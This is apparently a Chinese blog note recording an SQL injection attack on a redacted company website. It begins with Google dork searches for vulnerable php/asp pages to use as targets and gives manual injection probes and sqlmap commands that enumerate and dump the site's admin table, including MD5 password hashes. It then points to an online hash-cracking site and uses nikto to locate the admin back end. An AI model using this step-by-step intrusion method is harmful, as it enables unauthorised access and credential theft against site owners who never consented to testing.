记录一次sqlmap的使用
一般存在sql注入的网站 大部分为php 或者asp等语言 我们需要搜索出相关的网站作为目标进行测试
google 搜索
公司 inurl:asp?id=
公司 inurl:php?id=
手工测试注入信息
目前收手工注入能大致判断 是否存在注入信息再用sqlmap来进行注入测试 但是如果时间富裕直接使用sqlmap去扫描一下会得到更多的信息
http://www.xxxxx.com/about.php?id=12
手工注入1:http://www.xxxxx.com/about.php?id=12' //末尾添加 ' 符号
手工注入2:http://www.xxxxx.com/about.php?id=12 and 1=1 //末尾添加 and 1=1 应该是输出正常信息 and 1=2 应该输出报错信息
sqlmap 使用过程
sqlmap -u http://www.xxxxx.com/about.php?id=12 --dbs --current-user //能查找出连接数据库的用户
sqlmap -u http://www.xxxxx.com/about.php?id=12 --tables //直接猜表名 推荐使用这种方式 如果能猜测对方使用的数据库类型可以直接指定数据库类型能节省猜测数据库的时间
sqlmap -u http://www.xxxxx.com/about.php?id=12 --dbs mysql --tables //指定数据库类型为mysql 猜测表名 sqlmap字典包含常用的表名(admin users 这些)
//我们通过上面命令得到 数据库类型为mysql 数据库为 infinity_2017 猜测出的表有(about,admin,bottom_lay,class,flash,friends,fund,...)
//我们需要猜测出admin表下对应的字段
sqlmap -u http://www.xxxxx.com/about.php?id=12 -D infinity_2017 -T admin --columns //指定数据库为infinity_2017 表为admin 等待扫描结果出来admin表下对应的字段名()
[16:09:52] [INFO] fetching columns for table 'admin' in database 'infinity_2017'
Database: infinity_2017
Table: admin
[7 columns]
+----------+--------------+
| Column | Type |
+----------+--------------+
| admin | varchar(200) |
| adpwd | varchar(200) |
| dateTime | date |
| id | int(11) |
| lsum | varchar(20) |
| qx | varchar(20) |
| trueName | varchar(20) |
//下面我们需要导出admin表下面的数据
sqlmap -u http://www.xxxxx.com/about.php?id=12 -D infinity_2017 -T admin -C admin,adpwd,lsum,trueName --dump //得到对应admin表下对应的数据
Database: infinity_2017
Table: admin
[2 entries]
+-----------+----------------------------------+------+-------+----------+
| admin | adpwd | lsum | qx | trueName |
+-----------+----------------------------------+------+-------+----------+
| admin | 0af620ed81466db2f1fc8404da918eb2 | 147 | 超级管理员 | admin |
| yygzs2018 | f3f1c26545d2424e5bbc7bf12a8f2dc6 | 10 | 超级管理员 | yygz |
+-----------+----------------------------------+------+-------+----------+
//但是密码经过了加密 sqlmap 会提示是否使用本地字典对adpwd的值进行对比 看是否存在相同的密码 但是很大的情况运气成分占比很小
字符解密
//这里提供一个解密网站 直接在线解密 可以得出上面密码的解密字符串
https://md5decrypt.net/ //需要佛跳墙+
登陆后台
网站页面无相关登陆后台连接,可以使用nikto 对网站目录进行扫描
nikto -host www.xxxxx.com //得到网站下的目录
通过扫描得到后台发布新闻的页面 //但是并不是登陆地址 可以直接访问富文本编辑器 和部分代码
//在js文件里面找到对应后台管理地址
至此结束